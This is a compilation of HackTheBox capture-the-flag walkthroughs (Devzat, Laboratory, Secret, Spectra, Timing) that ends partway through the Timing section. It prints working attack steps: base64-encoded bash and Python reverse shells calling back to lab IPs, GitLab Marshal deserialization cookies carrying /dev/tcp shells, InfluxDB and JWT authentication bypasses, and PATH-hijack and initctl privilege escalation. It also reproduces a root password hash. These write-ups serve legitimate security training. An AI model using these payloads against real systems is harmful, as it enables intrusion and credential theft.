源码历史、配置泄露与后门逆向
Git 历史、测试配置、core dump 和异常共享库能够解释代码与部署状态的差异。本章把源代码观察和实际运行输出并列,保留恢复密钥、定位危险调用和确认文件权限的完整过程。
分析重点
Secret、Laboratory 与 Devzat 的源码材料分别影响 Token、Rails 对象和系统命令。
Timing 的命名时间窗口与 Spectra 的备份配置均需要结合文件实际落点。
Undetected 的后门分析保留修改时间、反编译和编码还原证据。
案例与技术索引
| 分析入口 | 实验来源 | 技术点 |
|---|---|---|
| Git 历史、命令拼接与内部数据库 | devzat | Git、Go、InfluxDB、CVE-2019-20933 |
| GitLab 上传重写与密钥链 | laboratory | GitLab、Ruby、反序列化、PATH |
| Git 中的 Token Secret 与 core dump | secret | Git、JWT、Core Dump、SUID |
| 备份配置与 Upstart 任务 | spectra | 备份泄露、WordPress、Upstart |
| 上传时间窗口与自定义下载器 | timing | LFI、Git、竞态条件、wget |
| 异常二进制与共享库后门 | undetected | PHPUnit、后门分析、逆向 |
Git 历史、命令拼接与内部数据库
源码中的系统调用形成初始命令注入,内部 InfluxDB 的认证缺陷连接到用户凭据;开发版文件读取功能提供最后一段证据。
来源 devzat · 原记录 2021-10-19 · 22 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Medium
Points: 30
Release: 16 Oct 2021
IP: 10.10.11.118
Enumeration
Nmap
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
Nmap reveals three open ports, two of them are SSH and one HTTP and it also reveals the hostname, add that to hosts file and access HTTP.
Devzat is actually an application designed to chat with developers over SSH.
- devzat
Let’s access the chat.
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
There’s nothing much which can help us to gain shell access. Let’s look for any vhosts.
1 | ffuf -c -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 |
We got one vhost, let’s add that to hosts file and access it.
It’s a pet inventory, where we can add pet names. Let’s look for any Directory’s.
1 | ffuf -u http://pets.devzat.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -fs 510 |
We got ‘.git’ directory, let’s dump and extract the commits.
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat/pets] |
vuln confirm
We got the source code, let’s dig in.
- main.go
1 | package main |
Species is vulnerable to OS command injection. Add a pet name and intercept the request.
Let’s first try to get a ping request back to our machine. Make sure to setup a tcpdump.
1 | POST /api/pet HTTP/1.1 |
Forward the request and check tcpdump.
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
We got 4 hits from the machine. Let’s gain a reverse shell via this vulnerability. Let’s encode our bash one-liner and send the request.
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
- payload:
1 | cat;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi85MDAxIDA+JjE= | base64 -d | bash |
Check the listener.
Stabilize the shell and run linpeas.
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
You will find a process and port and application name.
1 | root 1229 0.0 0.1 550720 3856 ? Sl Oct16 0:00 _ /usr/bin/docker-proxy-proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17.0.2 -container-port 8086 |
Let’s forward that port to our kali machine.
- in kali machine
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
- in target machine
1 | patrick@devzat:/tmp$ wget 10.10.14.12/chisel |
get user
Let’s do a service enumeration on this port.
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
InfluxDB 1.7.5 is running on docker, let’s look for any vulnerability.
- InfluxDB 1.7 release notes InfluxDB OSS 1.7 Documentation
TL;DR
The vulnerability allows a remote attacker to bypass authentication process. The vulnerability exists due the JWT token may have an empty SharedSecret in the authenticate function in services/httpd/handler.go. A remote non-authenticated attacker can bypass authentication process and gain unauthorized access to the application.
- When all else fails - find a 0-day
We can exploit it manually by understanding the above blog and steps. Or we can automate with below poc.
- InfluxDB Exploit CVE-2019-20933
1 | ┌──(root💀kali)-[~/hackthebox/machine/devzat] |
We got catherine user’s creds. Let’s login, SSH won’t work. So use ‘su’.
1 | patrick@devzat:/tmp$ su catherine |
get root
We got the user flag, let’s run the linpeas one more time.
1 | #)You_can_write_even_more_files_inside_last_directory |
Under backups there are two zip files, lets copy them to /tmp location and extract both.
1 | catherine@devzat:/tmp$ unzip devzat-dev.zip |
After extraction, you will find almost identical files and it’s content. However, if you look at the difference between commands.go file, we will find something interesting.
1 | catherine@devzat:/tmp$ diff main/commands.go dev/commands.go |
A new function is available in dev, that is file reading capabilities. But, it asks for the password and password if defined in the code. This new function is not available on the application which is running on port 8000, it is on 8443. So, access this port and read the root flag.
1 | catherine@devzat:/tmp$ ssh -l test localhost -p 8443 |
Summary of knowledge
- vhost fuzzing
- dir fuzzing
- dump and extract .git dir
- golang source code command injection
- chisel port forwarding
- InfluxDB Exploit CVE-2019-20933 exploit
- golang source code file reading capabilities
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
GitLab 上传重写与密钥链
任意文件读取暴露 Rails 密钥,后续反序列化和控制台操作连接用户访问。docker-security 的 PATH 使用是本地权限边界。
来源 laboratory · 原记录 2020-11-22 · 36 个代码块 · 5 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Easy
Points: 20
Release: 14 Nov 2020
IP: 10.10.10.216
User Blood wtflink 00 days, 01 hours, 48 mins, 28 seconds.
Root Blood Icebreaker 00 days, 02 hours, 03 mins, 10 seconds.
information gathering
first use nmap as usaul
1 | root@kali:~/hackthebox/machine/laboratory# nmap -sV -p- -v --min-rate=10000 laboratory.htb |
1 | root@kali:~/hackthebox/machine/laboratory# nmap -sV -sC -A -v -p 22,80,443 -T4 laboratory.htb |
there is a new vhost get caught by nmap: git.laboratory.htb
Port 80
There is nothing on the webiste other than some usernames
Fuzzing the dirs
I ran wfuzz on the “/” and got these results
1 | root@kali:~/hackthebox/machine/laboratory# wfuzz -u https://laboratory.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 --hh 7254 |
VHOST git.laboratory.htb
So i added the new vhost i got from the nmap to my /etc/hosts
And i can see that Gitlab is hosted on the vhost
Now i registered myself as lucifer11
and logged in
Didn’t see anything good and juicy then i just go to: https://git.laboratory.htb/help
saw the current version of gitlab installed
1 | GitLab Community Edition 12.8.1 |
So its 12.8.1 , so i searched a bit about it on google and got so many CVES
And a hackerone report caught my eyes , it was disclosed few months ago and was about LFI & RCE
- Arbitrary file read via the UploadsRewriter when moving and issue
in this report gitlab team mentioned that they will release the 12.9.1 so i was pretty sure it was on 12.8.1
Arbitrary file read
So as the First part of report is Arbitrary file read so i am gonna test if its vulnerable or not…
- Made two repos
1 | test1 |
- Opened an issue with the following description in test1
1 |  |
Move the issue to the test2 repo
Download and read the file
Got the passwd file
If i click and download the passwd file its the actually /etc/passwd file
passwd
1 | root@kali:~/hackthebox/machine/laboratory# cat passwd |
RCE in the gitlab
Now i can that i can read the files on the server so i can perform the RCE as mentioned in the report
- Marshalled payload
I need to make a Marshalled payload with the help of github-rails console
1 | request = ActionDispatch::Request.new(Rails.application.env_config) |
make a marshell payload that will make a file on the server /tmp/shell.sh with the content to my reverse shell
now url-encode the payload and set it in experimentation_subject_id
make another marshell payload that will execute the file
got a docker running gitlab, installed gitlab locally on local system and spawned the gitlab-rails console and type the following
before put the content into gitlab-rails console,we had to read: /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml,then replace the content in the gitlab docker container.
read /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
1 |  |
and got the content:
1 | # This file is managed by gitlab-ctl. Manual changes will be |
then replace the content in local gitlab docker’s secrets.yml file,then lunch gitlab-rails console:
1 | root@kali:~/hackthebox/machine/laboratory# docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0 |
- content:
1 | request = ActionDispatch::Request.new(Rails.application.env_config) |
now the output marshell-payload was
1 | BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAXwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzEyMzQgMD4mMScgPiAvdG1wL3NoZWxsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--45d9d01f0bcc1f1b323513b0b12d81e2577dcf50 |
url-encode with burp
1 | %42%41%68%76%4f%6b%42%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%6a%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%6c%5a%45%6c%75%63%33%52%68%62%6d%4e%6c%56%6d%46%79%61%57%46%69%62%47%56%51%63%6d%39%34%65%51%6b%36%44%6b%42%70%62%6e%4e%30%59%57%35%6a%5a%57%38%36%43%45%56%53%51%67%73%36%45%45%42%7a%59%57%5a%6c%58%32%78%6c%64%6d%56%73%4d%44%6f%4a%51%48%4e%79%59%30%6b%69%41%58%77%6a%59%32%39%6b%61%57%35%6e%4f%6c%56%55%52%69%30%34%43%6c%39%6c%63%6d%4a%76%64%58%51%67%50%53%41%72%4a%79%63%37%49%46%39%6c%63%6d%4a%76%64%58%51%75%50%44%77%6f%4b%43%42%67%5a%57%4e%6f%62%79%41%6e%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%7a%4c%7a%45%79%4d%7a%51%67%4d%44%34%6d%4d%53%63%67%50%69%41%76%64%47%31%77%4c%33%4e%6f%5a%57%78%73%4c%6e%4e%6f%59%43%41%70%4c%6e%52%76%58%33%4d%70%4f%79%42%66%5a%58%4a%69%62%33%56%30%42%6a%6f%47%52%55%59%36%44%6b%42%6c%62%6d%4e%76%5a%47%6c%75%5a%30%6c%31%4f%67%31%46%62%6d%4e%76%5a%47%6c%75%5a%77%70%56%56%45%59%74%4f%41%59%37%43%6b%59%36%45%30%42%6d%63%6d%39%36%5a%57%35%66%63%33%52%79%61%57%35%6e%4d%44%6f%4f%51%47%5a%70%62%47%56%75%59%57%31%6c%4d%44%6f%4d%51%47%78%70%62%6d%56%75%62%32%6b%41%4f%67%78%41%62%57%56%30%61%47%39%6b%4f%67%74%79%5a%58%4e%31%62%48%51%36%43%55%42%32%59%58%4a%4a%49%67%78%41%63%6d%56%7a%64%57%78%30%42%6a%73%4b%56%44%6f%51%51%47%52%6c%63%48%4a%6c%59%32%46%30%62%33%4a%4a%64%54%6f%66%51%57%4e%30%61%58%5a%6c%55%33%56%77%63%47%39%79%64%44%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%70%62%32%34%41%42%6a%73%4b%56%41%3d%3d%2d%2d%34%35%64%39%64%30%31%66%30%62%63%63%31%66%31%62%33%32%33%35%31%33%62%30%62%31%32%64%38%31%65%32%35%37%37%64%63%66%35%30 |
and replace the text in the experimentation_subject_id cookie with above url-encode
1 | GET / HTTP/1.1 |
Now the shell would be written in: /tmp/shell.sh
- calling the shell
1 | request = ActionDispatch::Request.new(Rails.application.env_config) |
marshell-payload
1 | BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiVCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvc2hlbGwuc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--884348f2b9b207a302df24d298a43c040a8d1021 |
url-encode with burp
1 | %42%41%68%76%4f%6b%42%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%6a%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%6c%5a%45%6c%75%63%33%52%68%62%6d%4e%6c%56%6d%46%79%61%57%46%69%62%47%56%51%63%6d%39%34%65%51%6b%36%44%6b%42%70%62%6e%4e%30%59%57%35%6a%5a%57%38%36%43%45%56%53%51%67%73%36%45%45%42%7a%59%57%5a%6c%58%32%78%6c%64%6d%56%73%4d%44%6f%4a%51%48%4e%79%59%30%6b%69%56%43%4e%6a%62%32%52%70%62%6d%63%36%56%56%52%47%4c%54%67%4b%58%32%56%79%59%6d%39%31%64%43%41%39%49%43%73%6e%4a%7a%73%67%58%32%56%79%59%6d%39%31%64%43%34%38%50%43%67%6f%49%47%42%69%59%58%4e%6f%49%43%39%30%62%58%41%76%63%32%68%6c%62%47%77%75%63%32%68%67%49%43%6b%75%64%47%39%66%63%79%6b%37%49%46%39%6c%63%6d%4a%76%64%58%51%47%4f%67%5a%46%52%6a%6f%4f%51%47%56%75%59%32%39%6b%61%57%35%6e%53%58%55%36%44%55%56%75%59%32%39%6b%61%57%35%6e%43%6c%56%55%52%69%30%34%42%6a%73%4b%52%6a%6f%54%51%47%5a%79%62%33%70%6c%62%6c%39%7a%64%48%4a%70%62%6d%63%77%4f%67%35%41%5a%6d%6c%73%5a%57%35%68%62%57%55%77%4f%67%78%41%62%47%6c%75%5a%57%35%76%61%51%41%36%44%45%42%74%5a%58%52%6f%62%32%51%36%43%33%4a%6c%63%33%56%73%64%44%6f%4a%51%48%5a%68%63%6b%6b%69%44%45%42%79%5a%58%4e%31%62%48%51%47%4f%77%70%55%4f%68%42%41%5a%47%56%77%63%6d%56%6a%59%58%52%76%63%6b%6c%31%4f%68%39%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%67%41%47%4f%77%70%55%2d%2d%38%38%34%33%34%38%66%32%62%39%62%32%30%37%61%33%30%32%64%66%32%34%64%32%39%38%61%34%33%63%30%34%30%61%38%64%31%30%32%31 |
and replace the text in the experimentation_subject_id cookie with above url-encode
1 | GET / HTTP/1.1 |
got the initial shell
1 | root@kali:~# nc -lvp 1234 |
Resetting dexter password
Now since the gitlab is installed i can spawn a gitlab-rails console and reset the admin password , and check who is admin
- How to reset your root password
1 | git@git:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")' |
- username
1 | irb(main):001:0> user = User.where(id: 1).first |
So the admin user is dexter , the user i saw on the laboratory.htb web page
- password
1 | irb(main):002:0> user.password = 'secret_pass' |
and saving the edits
1 | irb(main):004:0> user.save! |
Login as dexter on gitlab
Now i can login as
dexter : secret_pass
There is a repo called secureDocker
There is some personal stuff is saved by the dexter , even the script to create the gitlab lab
And in the folder dexter there is another folder .ssh in which private ssh keys are stored
I get the keys and used them to login myself as dexter using ssh
authorized_keys:
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratory |
id_rsa:
1 | -----BEGIN OPENSSH PRIVATE KEY----- |
Login as dexter
1 | root@kali:~/hackthebox/machine/laboratory# ssh -i id_rsa dexter@10.10.10.216 |
and we got user.txt
Privilege Escalation to root
Now its time for priv esc , run LinEnum.sh to check for possible things to escalate
And got this somewhere in the output
1 | [+] Possibly interesting SUID files: |
I Run the binary , but it shows nothing
so i run pspy on the other hand and then run this binary and i saw some process running after running the docker-security
1 | 2020/11/17 07:10:34 CMD: UID=0 PID=77936 | /usr/local/bin/docker-security |
Its using chmod without specifying the full path /usr/bin/chmod
This type of thing can be exploited with Path-Hijacking
To confirm this downloaded the docker-security in my system and opened it with radare2
1 | dexter@laboratory:/usr/local/bin$ nc 10.10.14.3 10086 < docker-security |
1 | root@kali:~/hackthebox/machine/laboratory# nc -l 10086 > docker-security |
1 | root@kali:~/hackthebox/machine/laboratory# r2 docker-security |
open the visual mode
1 | [0x00001155]> v |
Now looking at the main function
I can see that the binary is executing chmod without the full path
Path-Hijacking
Since i know that docker-security is using chmod without specifying it full path , This is kind of similar to my writeup on magic priv esc
- Hackthebox Magic writeup
making a new shell script named chmod
1 | dexter@laboratory:~$ echo "/bin/bash" >> chmod |
If this got executed by root it will give us a bash shell as root
export the PATH to script dir
1 | dexter@laboratory:~$ export PATH=$(pwd):$PATH |
run the docker-security,and we got root:
1 | dexter@laboratory:~$ /usr/local/bin/docker-security |
Summary of knowledge
- GitLab Community Edition 12.8.1 Arbitrary file read via the UploadsRewriter
- GitLab Community Edition 12.8.1 Arbitrary file read RCE via gitlab-rails console generated payload cookies
- gitlab-rails console reset password
- Path-Hijacking via /usr/local/bin/docker-security
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
Git 中的 Token Secret 与 core dump
Git 历史恢复 JWT 密钥,再触发命令拼接。SUID 程序崩溃留下的 core dump 形成独立文件读取证据。
来源 secret · 原记录 2021-11-01 · 33 个代码块 · 7 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Easy
Points: 20
Release: 30 Oct 2021
IP: 10.10.11.120
Enumeration
Open Ports
| Ports | Service | Takeaways |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | nginx 1.18.0 |
| 3000 | HTTP | Node.js |
NMAP
1 | # Nmap 7.91 scan initiated Sun Oct 31 00:15:29 2021 as: nmap -vvv -p 22,80,3000 -A -v -sC -sV -oN intial.nmap 10.10.11.120 |
Manual Enumeration
Just Visting websites on ports 80,3000 both looked same.
Just gazing through website 2 features looks intresting.
Live Demo
which redirets to /api endpoint
Nothing intresting for now so let’s move on to the seond feature.
Source Code
The website seeming gives out it source code on website just like any other open source projects.
So let’s download it and inspects for something good.
Looking at the directory listing of source code it looks like it a git repository.
It was all confirmed by ohmyzsh in my case.
1 | ➜ local-web git:(master) ls -al |
I used git extractor tools to extract everything from the git archives.
Link to the GitTools I Used https://github.com/internetwache/GitTools
1 | mkdir dump |
and it will take time as it is a big repository so give it some time to complete.
While that’s running I did some manual enumeration.
Looking at index.js we can see that the is an /api/user endpoint on auth route and auth route and it logic is defined in /route/auth.
so let’s check /routes/auth.js
we can see there is the /register endpoint to register user so let’s confirm this by sending a post request as get requests are not allowed.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret] |
looks like we have a valid endpoint so let’s see what data it is expecting us to send in order to register a user.
Looks like it expects us to give name,email,password in order to register the user.
Looks like this schema is also defined in validation.js
1 | const Joi = require('@hapi/joi') |
so now we know that what we know how we can register and login as a user.
And we can see that login endpoint creates a JWT token upon loggin in.
1 | const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET ) |
and now we know the location where secret is stored so we can just see it.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret] |
but no luck I guess it redacted or used a dummy word but it can we in the previous commits so let’s check in that dump folder.
Git Dump Enumeration
Now we have extracted everything from Git repo we can see there is a total of 6 commit.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
one thing that we know from above manual enumeration is that it used secret to sign JWT tokens so let’s hunt for it.
Looking through all the commit I found token in the following commits.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
So now we have the secret let’s go into details of how the token is signed.
you can check that on /routes/verifytoken.js
1 | const jwt = require("jsonwebtoken"); |
let’s just create a sample token using the secret found.
Registering User
So let’s register the user from our above knowledge.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
We registered a user oopsie.
Now let’s try and login. For login we know we need to send email and password.(from validation.js)
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
looks like we are logged in and we have our token.
now let’s see if we can do something intresting with but let’s first see how it validates a JWT token.
1 | const jwt = require("jsonwebtoken"); |
looks like we just have to pass it as header in request with header name auth-token.
so let’s confirm it by sending it to /api/priv endpoint which just tells you if you are admin or not.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
Looks like we are not admin but we have the secret we can forge the token.
Let’s Understand what we need to satisfy in order to be an admin it is declared in /routes/private.js
so it basically checks that if name == ‘theadmin’ if so then it will give us the admin capabilities.
Let’s decode our token and find how its made.
I will use jwttool for it you can use any tool of your liking you can also use their online website jwt.io which easy and pretty convinient.
website: https://jwt.io/
tool: https://github.com/ticarpi/jwt_tool
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
Forging token
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
Now we have the forged token let’s verify it at /api/priv endpoint
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
Now we are admin.
Now let’s try to look at logs as we can see it in /routes/private.js
We have to specify the file name as the get parameter with the name file.
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
Looks like it’s a comand injection.
Exploitation
Command Injection
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret/dump] |
Yeah so now let’s to get the rev shell.
from: revshells.com
1 | python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.20",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' |
base64 + url encoded final payload:
1 | ;echo+cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjAiLDQ0MykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigic2giKSc=+|+base64+-d|+bash |
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret] |
And boom we have the revshell
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
1 | ┌──(root💀kali)-[~/hackthebox/machine/secret] |
PrivESC
SUID Binaries
1 | find / -type f -perm -u=s 2>/dev/null |
Gives you an intresting file with setuid at /opt/count.
looking for the files in opt directory we are given the code for the binary too.
1 | dasith@secret:/opt$ ls |
So let’s go through the code.
1 |
|
Looking at the source code the write functionality looks intresting but the problem is that we cannot write in privilleged mode and not the content of file so there is no possible way we can write something to high-privileged file or see the content of higher privileged file.
The catch over here is that what if we crash the code in between the execution of the code.
Most of the time if we crash the process in between the report is most of the time saved in /var/crash in linux distro.
Normally this won’t be possible but with this perm set prctl(PR_SET_DUMPABLE, 1); it could be possible. I am still not sure about what it does exactly but here is the man page for this function if you are intrested.
https://man7.org/linux/man-pages/man2/prctl.2.html
As far as I understand this determines whether core dumps are produced or not and by default it is always 1 so not sure why he manually did probably as a hint.
As it is set to 1 we can produce core dump so let’s test this thoery practically.
For this we need 2 shells so first make sure you have 2 shells.
1 -> To run the count binary
2 -> To create crash
Shell 1
1 | dasith@secret:/$ cd /opt |
Now let’s go to shell 2 to crash the binary
Shell 2
1 | dasith@secret:/opt$ ps -aux | grep count |
Now kill the process with the PID corresponding to ./count -p
1 | dasith@secret:/opt$ kill -BUS 1526 |
Now you can check the shell1 if the process is been crashed.
Shell 1
1 | dasith@secret:/opt$ ./count -p |
Indeed we have crashed the process so lets check the /var/crash for the report.
1 | dasith@secret:/opt$ cd cd /var/crash |
We have the coredump file so let’s check it out using strings or else it will give out gibberish output.
1 | dasith@secret:/tmp/oopsie$ strings CoreDump |
Looks like we have the root flag.
- use the same way get the root hash
1 | root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7::: |
Summary of knowledge
- .git dump with GitTools
- js code audit
- Git Dump Enumeration find jwt TOKEN_SECRET
- forge jwt token with jwt_tool
- Command Injection with “;”
- SUID Binaries PrivESC with CoreDump crash information leackage
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
备份配置与 Upstart 任务
测试站点配置暴露 WordPress 凭据,本地配置继续提供系统身份。initctl 可管理的任务文件决定后续执行。
来源 spectra · 原记录 2021-03-01 · 9 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Other
Difficulty: Easy
Points: 20
Release: 27 Feb 2021
IP: 10.10.10.229
information gathering
first use nmap as usaul
1 | ┌──(root💀kali)-[~/hackthebox/machine/spectra] |
doing a simple gobuster scan it reveals two directory /main and /testing
On the port 80 there is a live webserver just exposing to /testing directory we get some config files, in the wp-config.php.save file we get the username and password of the database we can use it to login on the wordpress webserver
1 | /** MySQL database username */ |
get user
use administrator/devteam01 to login
After logging-in come across the Dashboard where we can install external plugin, so from here we can upload the plugin manually and get shell but that takes to time lets use another method using msf..
1 | msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options |
now we get a shell,After getting shell cat out the /opt/autologin.conf.orig file which points out a passwd file in /etc/autologin folder which simply contains the password of katie user
1 | meterpreter > cat /opt/autologin.conf.orig |
1 | meterpreter > pwd |
1 | ┌──(root💀kali)-[~/hackthebox/machine/spectra] |
and we got the flag.
get root
After doing sudo -l we come to know that we can run the /sbin/initctl command now if you don’t know what /initctl command does read this:
- initctl - init daemon control tool
Now edit the /etc/init/test.conf and add this lines
1 | script |
Now start the job as
1 | katie@spectra /etc/init $ sudo /sbin/initctl start test |
and then try
1 | katie@spectra ~ $ /bin/bash -p |
Summary of knowledge
- Directory traversal
- wordpress file upload
- /sbin/initctl privesc
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
上传时间窗口与自定义下载器
LFI 与源码揭示上传命名逻辑,Git 历史提供凭据。后半段保留 PHP 时间计算和 wget/FTP 下载行为造成的文件权限变化。
来源 timing · 原记录 2021-12-18 · 47 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Medium
Points: 30
Release: 11 Dec 2021
IP: 10.10.11.135
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Nmap reveals two open ports, HTTP and SSH. Let’s look into webpage.
Just a login page, there’s nothing else on the homepage. Let’s do a directory brute force.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
We got couple of directories and php files. If we look closer, most php files are redirecting to ‘login.php’. However, image.php is not redirecting to anywhere, and also the size is ‘0’. Initially I was little bit confused, why there’s a ‘image.php’ and ‘images’ directory, both server the same purpose. So, I did a directory brute force on ‘images’.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
There’s another directory inside ‘images’. So, my speculation was, if user uploads any images via ‘upload.php’ it dumps it in ‘/images/upload’ directory and it can be accessed via ‘image.php’. I tried to fuzz with file parameter for any LFI or Path traversal attack.
1 | ┌──(root💀kali)-[~/ffuf] |
As you can see, status code of files are 200 but size is 0. It simply means, ‘file’ parameter is not working. I tried with couple other parameters but all failed, but ‘img’ parameter worked.
1 | ┌──(root💀kali)-[~/ffuf] |
We got 200 status code and size of all file same.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
As you can see, I tried to curl the path with ‘img’ parameter, and I got the above response. We need to bypass the security filters now.
- Wrapper php://filter
We will use:
